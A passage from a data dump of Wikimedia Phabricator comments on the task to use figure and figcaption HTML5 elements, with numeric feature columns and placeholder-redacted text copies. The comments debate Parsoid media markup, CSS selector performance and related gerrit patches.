examples.",,,1608002549,,PHID-USER-gxcjmjpejlhfnrquksm2,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,389,,0.0,0.0,0.0,5.0,2.0,3.0,2.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,5.0,2.0,8.0,8.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,13.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,10.0,8.0,8.0,5.0,3.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,8.0,2.0,0.0,0.0,0.0,8.0,0.0,3.0,2.0,0.0,5.0,0.0,0.0,0.0,4.0,0.7540983606557377,"QUOTE

I said this because I think the place where the stylesheet is saying to hide the figcaption is misleading.  Those are inline images where it isn't even emitted and the content is placed in the data-mw.  I'll submit a patch to delete it but just cautioning about using specific examples."
1632841,Use figure and figcaption HTML5 elements when possible,">>! In T51097#6690317, @Krinkle wrote:
>  I assumed that as part of moving toward Parsoid used natively, would be to (start) thinking about what a page-view worthy variant would look like in terms of lighter and more performant HTML/CSS. 

I am going write a slightly broader (but tangential to this specific task) response here that we should pick up separately.

Parsoid has very many clients: API consumers, editing clients, reading clients (mobile, desktop, apps), etc. Every client has slight different needs. Then, there are user-preferences. There is HTML regeneration on changes to things like red links. [ And, more broadly incremental parsing as a HTML -> HTML transformation on top of the previous version, but that is a different ball of wax we'll get to some day ] And, there is HTML adaptation for language variants, and so on.

It is useful to look at all these requirements as broadly HTML -> HTML transformations of some canonical representation that Parsoid generates. Over time, HTML -> HTML transformations have been developed. over whatever Parsoid generates.: MCS / PCS / Kiwix, etc.  Mobile HTML will also adapt its HTML -> HTML layer for this as well (T269499).  And sometimes those transformations get upstreamed into Parsoid (ex: section wrapping). Separately, a related qn. we've been pondering is how all these various HTML -> HTML transformations should be developed / handled? Should they be API extensions of Parsoid? Should they live in Parsoid? Should they be separate (micro)services? Which of those services' output should be cached / stored, etc.?

But, what your comment there gets at is this core question of** (a) what this canonical representation ought to be and (b) what client this ought to be tuned for.**

Originally, this HTML was tuned for VisualEditor (for historical reasons). And, over time, we've started to move towards read views (hence T78676). So, from this POV, figcaptions will sometimes need to be hidden because in an editing client, the nature of the image might change and so a figcaption might go from being rendered to being hidden and vice versa. That observation basically generalizes to the principle that Parsoid's canonical output should expose all information there was in source (both syntactic and semantic). That is the core value of Parsoid's output and also what enables us to roundtrip wikitext without dirty diffs and lets us use the tagline: ""We deal with wikitext so you don't have to"".

That said, this can lead to a lot of bloat. So, syntactic information is mostly hidden in data-parsoid and has been stripped from source from almost the very beginning. But, semantic information exists in data-mw and in other attributes that are dispersed in the DOM. For data-mw attribute, we have T78676.

Given this baseline, the question is: do we need a HTML -> HTML layer for read views on top of Parsoid's canonical HTML output? We probably all have opinions. :-) On one extreme, we could strip all semantic information and all kinds of other attributes and information to reduce the network payload. But, we think that there is value in exposing some of the semantic information in Parsoid's output by default since we aren't convinced it bloats HTML payload significantly. I say that with the observation that the core parser's HTML output is somewhat of a historical (vs intentional) baseline (much like Parsoid's targeting of its HTML for VisualEditor is a similarly historical decision and not something that makes sense once we start targeting read views).

But, anyway, as we talked back in July in our meeting and [[https://www.mediawiki.org/wiki/Parsing/Parser_Unification/Performance#HTML_output_size|captured in the notes]], we should collaborate and start evaluating Parsoid's HTML payload (after compression) and see what kind of change we are seeing and establish what kind of increase is acceptable. Before we do that, I feel trying to optimize media output to drop figcaptions, etc. is probably premature. I am not convinced the byte savings we gain from doing that on a typical page is worth the additional complexity of a HTML -> HTML transformation. Of course, we should still talk through what kind of fine-tuning we need for Parsoid's canonical output so that it is as close to being ready for read views without needing a HTML -> HTML transformation. But, we should do some baseline performance studies first before we dive into that kind of work.

I know you are talking about performance more broadly including rendering time, etc, not just byte overhead and I defer to you, @Jdlrobson, @arlolra. But, thanks for starting this conversation going. It has helped me put down these notes coherently - something that has been bubbling up lately in bits and pieces in different conversations. Let us take this broader conversation to a separate ticket / meeting / gdoc.",,,1608000898,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,389,,1.3,0.2,0.2,1.3,0.5,4.9,1.2,0.1,0.0,0.0,2.1,0.6,0.0,0.3,0.5,3.2,0.1,5.2,11.5,0.2,1.0,1.2,0.2,0.0,0.4,0.5,0.0,0.0,0.4,0.3,0.1,5.6,1.0,0.6,0.4,0.4,0.0,0.1,0.3,0.1,0.0,0.3,0.3,3.5,0.0,0.5,0.3,0.1,0.2,13.4,0.8,1.9,0.1,0.4,0.4,0.0,0.0,0.4,0.8,0.0,0.4,0.7,0.0,0.1,0.0,0.1,0.2,3.0,3.9,9.9,1.3,3.1,6.7,0.0,0.1,0.0,0.0,3.6,0.1,0.1,0.0,4.6,11.5,4.7,0.6,0.3,0.0,4.6,0.0,1.3,1.4,0.4,1.8,0.4,0.0,1.4,4.130376344086022,0.7122136512388967,"QUOTE
QUOTE

I am going write a slightly broader (but tangential to this specific task) response here that we should pick up separately.

Parsoid has very many clients: API consumers, editing clients, reading clients (mobile, desktop, apps), etc. Every client has slight different needs. Then, there are user-preferences. There is HTML regeneration on changes to things like red links. [ And, more broadly incremental parsing as a HTML -> HTML transformation on top of the previous version, but that is a different ball of wax we'll get to some day ] And, there is HTML adaptation for language variants, and so on.

It is useful to look at all these requirements as broadly HTML -> HTML transformations of some canonical representation that Parsoid generates. Over time, HTML -> HTML transformations have been developed. over whatever Parsoid generates.: MCS / PCS / Kiwix, etc.  Mobile HTML will also adapt its HTML -> HTML layer for this as well (T269499).  And sometimes those transformations get upstreamed into Parsoid (ex: section wrapping). Separately, a related qn. we've been pondering is how all these various HTML -> HTML transformations should be developed / handled? Should they be API extensions of Parsoid? Should they live in Parsoid? Should they be separate (micro)services? Which of those services' output should be cached / stored, etc.?

But, what your comment there gets at is this core question of** (a) what this canonical representation ought to be and (b) what client this ought to be tuned for.**

Originally, this HTML was tuned for VisualEditor (for historical reasons). And, over time, we've started to move towards read views (hence T78676). So, from this POV, figcaptions will sometimes need to be hidden because in an editing client, the nature of the image might change and so a figcaption might go from being rendered to being hidden and vice versa. That observation basically generalizes to the principle that Parsoid's canonical output should expose all information there was in source (both syntactic and semantic). That is the core value of Parsoid's output and also what enables us to roundtrip wikitext without dirty diffs and lets us use the tagline: ""We deal with wikitext so you don't have to"".

That said, this can lead to a lot of bloat. So, syntactic information is mostly hidden in data-parsoid and has been stripped from source from almost the very beginning. But, semantic information exists in data-mw and in other attributes that are dispersed in the DOM. For data-mw attribute, we have T78676.

Given this baseline, the question is: do we need a HTML -> HTML layer for read views on top of Parsoid's canonical HTML output? We probably all have opinions. :-) On one extreme, we could strip all semantic information and all kinds of other attributes and information to reduce the network payload. But, we think that there is value in exposing some of the semantic information in Parsoid's output by default since we aren't convinced it bloats HTML payload significantly. I say that with the observation that the core parser's HTML output is somewhat of a historical (vs intentional) baseline (much like Parsoid's targeting of its HTML for VisualEditor is a similarly historical decision and not something that makes sense once we start targeting read views).

But, anyway, as we talked back in July in our meeting and [[URL in the notes]], we should collaborate and start evaluating Parsoid's HTML payload (after compression) and see what kind of change we are seeing and establish what kind of increase is acceptable. Before we do that, I feel trying to optimize media output to drop figcaptions, etc. is probably premature. I am not convinced the byte savings we gain from doing that on a typical page is worth the additional complexity of a HTML -> HTML transformation. Of course, we should still talk through what kind of fine-tuning we need for Parsoid's canonical output so that it is as close to being ready for read views without needing a HTML -> HTML transformation. But, we should do some baseline performance studies first before we dive into that kind of work.

I know you are talking about performance more broadly including rendering time, etc, not just byte overhead and I defer to you,SCREEN_NAME,SCREEN_NAME. But, thanks for starting this conversation going. It has helped me put down these notes coherently - something that has been bubbling up lately in bits and pieces in different conversations. Let us take this broader conversation to a separate ticket / meeting / gdoc."
1632812,Use figure and figcaption HTML5 elements when possible,">>! In T51097#6690317, @Krinkle wrote:
> @Arlolra @Jdlrobson The new selectors introduced here seem quite bad in terms of performance and stability. They seem very fragile, and I don't think we should use those on production page views.
> 
> Code in question at [mediawiki.skinning/content.media.less](https://gerrit.wikimedia.org/r/c/mediawiki/core/+/410362/19/resources/src/mediawiki.skinning/content.media.less).

As Jon said, these are not new in the sense that they are factored out of `mediawiki.skinning.content.parsoid` so that they can be reused when the legacy parser starts emitting media structured as Parsoid would.

See https://gerrit.wikimedia.org/r/c/mediawiki/core/+/507512 that implements that behind a flag, `$wgUseNewMediaStructure`

See https://www.mediawiki.org/wiki/Specs/HTML/2.1.0#Media to get a sense of what the HTML looks like

As explained on https://www.mediawiki.org/wiki/Parsing/Media_structure, we're trying to make these changes to the legacy parser before Parsoid starts being used for read views so that the changes there are staggered and less disruptive.

> Also what are these styles based on?

They're based on the definitions in `mediawiki.skinning.content` for thumbnails.  I guess the idea has been to come up with set of styles to apply to Parsoid's HTML so that it renders identically to what the legacy parser is giving us for read views.  Parsoid's current styles are the result of extensive visual diffing.

See https://www.mediawiki.org/wiki/Parsing/Visual_Diff_Testing

However, they evolved organically to meet the stated rendering goal and were likely blind to CSS performance and stability.

> Is the plan to drop these styles in favour of the styles we have but with these new selectors as their target instead of the current ones?

I would think the inverse, but see the caveats at https://gerrit.wikimedia.org/r/c/mediawiki/core/+/647333/12#message-6fed1f6653aadf34efbe76c0ae42117f7d41490d

> I assumed that as part of moving toward Parsoid used natively, would be to (start) thinking about what a page-view worthy variant would look like in terms of lighter and more performant HTML/CSS.

Looking at T258836, there's definitely been some consideration of the size of the HTML that we're shipping but I can't recall specific tasks about browser rendering time after the content is delivered.

> I think part of that (might) have to be to encode these internal assumptions about structure so that only a simple and stable selector needs to be exposed to skins.

I'm not sure exactly what you mean.  Parsoid's HTML is specified at the above link.

> I also worry about some of the stylehacks in here perhaps exposing potential issues with the HTML itself. It is not clear to me why some of these workarounds are needed when the current HTML does not appear to need them. Such as hiding of `figcaption` elements (why are they in the HTML?), and the mapping of `mw-valign-middle` and similar classes (why does this exist?), and numerous reliance on wildcards like `*:first-child `. This seems very surprising and is imho a blocker to address before starting to rely on this from individual skins or page views.

I think we should file individual tasks for these things so they can be researched more thoroughly.  I'm happy to work towards improving `content.media.less` and agree that both performance and stability should be addressed before it's used on production page views.

Note that I may be making this worse with the patches for T269704",,,1607994875,,PHID-USER-gxcjmjpejlhfnrquksm2,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,389,,0.25,0.0,0.25,2.25,0.75,3.75,1.25,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.5,3.0,0.0,3.5,13.75,0.0,1.5,0.5,0.75,0.0,0.75,0.5,0.0,0.5,0.75,0.5,0.0,6.0,3.25,0.5,1.0,0.25,0.0,0.0,0.0,0.25,0.0,1.25,0.0,1.25,0.0,0.0,0.5,0.25,0.75,14.5,0.25,1.75,0.0,0.25,0.0,0.25,0.0,0.25,0.0,0.0,0.0,0.5,0.0,0.25,0.25,0.25,0.0,4.75,4.0,12.25,3.0,1.75,6.75,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.25,13.75,3.75,0.0,0.0,0.0,5.25,0.0,1.5,0.5,0.25,1.75,0.75,0.0,0.0,4.084982788296041,0.7089070567986231,"QUOTE
QUOTE
QUOTE
QUOTE

As Jon said, these are not new in the sense that they are factored out of CODE so that they can be reused when the legacy parser starts emitting media structured as Parsoid would.

See URL that implements that behind a flag, CODE

See URL to get a sense of what the HTML looks like

As explained on URL we're trying to make these changes to the legacy parser before Parsoid starts being used for read views so that the changes there are staggered and less disruptive.

QUOTE

They're based on the definitions in CODE for thumbnails.  I guess the idea has been to come up with set of styles to apply to Parsoid's HTML so that it renders identically to what the legacy parser is giving us for read views.  Parsoid's current styles are the result of extensive visual diffing.

See URL

However, they evolved organically to meet the stated rendering goal and were likely blind to CSS performance and stability.

QUOTE

I would think the inverse, but see the caveats at URL

QUOTE

Looking at T258836, there's definitely been some consideration of the size of the HTML that we're shipping but I can't recall specific tasks about browser rendering time after the content is delivered.

QUOTE

I'm not sure exactly what you mean.  Parsoid's HTML is specified at the above link.

QUOTE

I think we should file individual tasks for these things so they can be researched more thoroughly.  I'm happy to work towards improving CODE and agree that both performance and stability should be addressed before it's used on production page views.

Note that I may be making this worse with the patches for T269704"
1632715,Use figure and figcaption HTML5 elements when possible,"The rules are currently disabled for all skins. For now, this is only refactoring and working towards deprecating the existing `mediawiki.skinning.content.parsoid` ResourceLoader module (please note these rules have been factored out of  the existing `mediawiki.skinning.content.parsoid` module https://gerrit.wikimedia.org/r/c/mediawiki/core/+/410362/19/resources/src/mediawiki.skinning/content.parsoid.less )


My expectation is we are going to clean them up and consolidate the new `media` feature styles with `content` prior to deployment.
",,,1607984896,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,389,,1.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,6.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,7.0,13.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,4.0,13.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,9.0,0.0,0.0,0.0,4.537313432835821,0.8059701492537313,"The rules are currently disabled for all skins. For now, this is only refactoring and working towards deprecating the existing CODE ResourceLoader module (please note these rules have been factored out of  the existing CODE module URL )


My expectation is we are going to clean them up and consolidate the new CODE feature styles with CODE prior to deployment.
"
1632709,Use figure and figcaption HTML5 elements when possible,"The rules are currently disabled for all skins. For now, this is only refactoring and working towards deprecating the existing `mediawiki.skinning.content.parsoid` ResourceLoader module

My expectation is we are going to clean them up and consolidate the new `media` feature styles with `content` prior to deployment.
",,,1607984532,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,389,,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,8.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,14.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,14.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,4.7,0.84,"The rules are currently disabled for all skins. For now, this is only refactoring and working towards deprecating the existing CODE ResourceLoader module

My expectation is we are going to clean them up and consolidate the new CODE feature styles with CODE prior to deployment.
"
1632706,Use figure and figcaption HTML5 elements when possible,"The rules are currently disabled for all skins. For now, this is only refactoring and working towards deprecating the existing mediawiki.skinning.content.parsoid.

My expectation is we are going to clean them up and consolidate the new `media` feature styles with `content` prior to deployment.
",,,1607984390,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,389,,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,8.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,10.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,14.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,5.020408163265306,0.8367346938775511,"The rules are currently disabled for all skins. For now, this is only refactoring and working towards deprecating the existing mediawiki.skinning.content.parsoid.

My expectation is we are going to clean them up and consolidate the new CODE feature styles with CODE prior to deployment.
"
1632689,Use figure and figcaption HTML5 elements when possible,"@Arlolra @Jdlrobson The new selectors introduced here seem quite bad in terms of performance and stability. They seem very fragile, and I don't think we should use those on production page views.

Code in question at [mediawiki.skinning/content.media.less](https://gerrit.wikimedia.org/r/c/mediawiki/core/+/410362/19/resources/src/mediawiki.skinning/content.media.less).

Also what are these styles based on? Is the plan to drop these styles in favour of the styles we have but with these new selectors as their target instead of the current ones? I assumed that as part of moving toward Parsoid used natively, would be to (start) thinking about what a page-view worthy variant would look like in terms of lighter and more performant HTML/CSS. I think part of that (might) have to be to encode these internal assumptions about structure so that only a simple and stable selector needs to be exposed to skins. I also worry about some of the stylehacks in here perhaps exposing potential issues with the HTML itself. It is not clear to me why some of these workarounds are needed when the current HTML does not appear to need them. Such as hiding of `figcaption` elements (why are they in the HTML?), and the mapping of `mw-valign-middle` and similar classes (why does this exist?), and numerous reliance on wildcards like `*:first-child `. This seems very surprising and is imho a blocker to address before starting to rely on this from individual skins or page views.",,,1607983473,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,389,,0.6666666666666666,0.0,0.6666666666666666,0.6666666666666666,1.0,7.0,2.0,0.0,0.0,0.0,3.3333333333333335,0.3333333333333333,0.0,0.3333333333333333,0.0,2.3333333333333335,0.0,6.333333333333333,16.333333333333332,0.0,2.6666666666666665,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,5.666666666666667,1.3333333333333333,0.6666666666666666,0.0,0.0,1.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,1.3333333333333333,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,13.666666666666666,1.0,2.6666666666666665,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,1.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,4.333333333333333,3.0,7.666666666666667,2.6666666666666665,3.6666666666666665,8.333333333333334,0.0,0.0,0.0,0.0,5.666666666666667,0.0,0.0,0.0,4.333333333333333,16.333333333333332,2.6666666666666665,1.3333333333333333,0.0,0.0,4.333333333333333,0.0,2.3333333333333335,1.0,1.0,1.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,4.233449166889423,0.7306424307226232,"SCREEN_NAMESCREEN_NAME The new selectors introduced here seem quite bad in terms of performance and stability. They seem very fragile, and I don't think we should use those on production page views.

Code in question at [mediawiki.skinning/content.media.less](URL

Also what are these styles based on? Is the plan to drop these styles in favour of the styles we have but with these new selectors as their target instead of the current ones? I assumed that as part of moving toward Parsoid used natively, would be to (start) thinking about what a page-view worthy variant would look like in terms of lighter and more performant HTML/CSS. I think part of that (might) have to be to encode these internal assumptions about structure so that only a simple and stable selector needs to be exposed to skins. I also worry about some of the stylehacks in here perhaps exposing potential issues with the HTML itself. It is not clear to me why some of these workarounds are needed when the current HTML does not appear to need them. Such as hiding of CODE elements (why are they in the HTML?), and the mapping of CODE and similar classes (why does this exist?), and numerous reliance on wildcards like CODE. This seems very surprising and is imho a blocker to address before starting to rely on this from individual skins or page views."
1631572,Use figure and figcaption HTML5 elements when possible,"Change 410362 **merged** by jenkins-bot:
[mediawiki/core@master] Share Parsoid's media styling with content

https://gerrit.wikimedia.org/r/410362",,,1607716556,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,388,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.037037037037037,0.8888888888888888,"Change 410362 **merged** by jenkins-bot:
[mediawiki/core@master] Share Parsoid's media styling with content

GERRIT_URL"
1631539,Use figure and figcaption HTML5 elements when possible,"Change 647372 **merged** by jenkins-bot:
[mediawiki/core@master] Add a feature flag to use the new media structure

https://gerrit.wikimedia.org/r/647372",,,1607713852,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,388,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,10.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7333333333333334,0.9,"Change 647372 **merged** by jenkins-bot:
[mediawiki/core@master] Add a feature flag to use the new media structure

GERRIT_URL"
1631451,Use figure and figcaption HTML5 elements when possible,"Change 647372 had a related patch set uploaded (by Arlolra; owner: Arlolra):
[mediawiki/core@master] Add a feature flag to use the new media structure

https://gerrit.wikimedia.org/r/647372",,,1607705268,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,388,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,15.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,4.147058823529412,0.9411764705882353,"Change 647372 had a related patch set uploaded (by Arlolra; owner: Arlolra):
[mediawiki/core@master] Add a feature flag to use the new media structure

GERRIT_URL"
1631027,Use figure and figcaption HTML5 elements when possible,"Change 410362 had a related patch set uploaded (by Arlolra; owner: Arlolra):
[mediawiki/core@master] Share Parsoid media styling with content

https://gerrit.wikimedia.org/r/410362",,,1607629897,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,388,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,4.533333333333333,0.9666666666666667,"Change 410362 had a related patch set uploaded (by Arlolra; owner: Arlolra):
[mediawiki/core@master] Share Parsoid media styling with content

GERRIT_URL"
1273261,Use figure and figcaption HTML5 elements when possible,"Change 196532 abandoned by Arlolra:
Use figure and figcaption HTML5 elements for media

Reason:
In favour of https://gerrit.wikimedia.org/r/c/mediawiki/core/ /507512

[[https://gerrit.wikimedia.org/r/196532]]",,,1556663538,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,304,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,13.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.033333333333333,0.8333333333333334,"Change 196532 abandoned by Arlolra:
Use figure and figcaption HTML5 elements for media

Reason:
In favour of URL /507512

[[GERRIT_URL]]"
1273258,Use figure and figcaption HTML5 elements when possible,"Change 507512 had a related patch set uploaded (by Arlolra; owner: Arlolra):
[mediawiki/core@master] Use figure and figcaption HTML5 elements for media

[[https://gerrit.wikimedia.org/r/507512]]",,,1556663464,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,304,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,17.0,4.111111111111111,0.8611111111111112,"Change 507512 had a related patch set uploaded (by Arlolra; owner: Arlolra):
[mediawiki/core@master] Use figure and figcaption HTML5 elements for media

[[GERRIT_URL]]"
1271417,Use figure and figcaption HTML5 elements when possible,"Change 505645 **merged** by jenkins-bot:
[mediawiki/core@master] Allow <figure-inline> attributes through Sanitizer

[[https://gerrit.wikimedia.org/r/505645]]",,,1556305851,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,303,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,3.696969696969697,0.7575757575757576,"Change 505645 **merged** by jenkins-bot:
[mediawiki/core@master] Allow <figure-inline> attributes through Sanitizer

[[GERRIT_URL]]"
1268500,Use figure and figcaption HTML5 elements when possible,"Change 505645 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
[mediawiki/core@master] Allow <figure-inline> attributes through Sanitizer

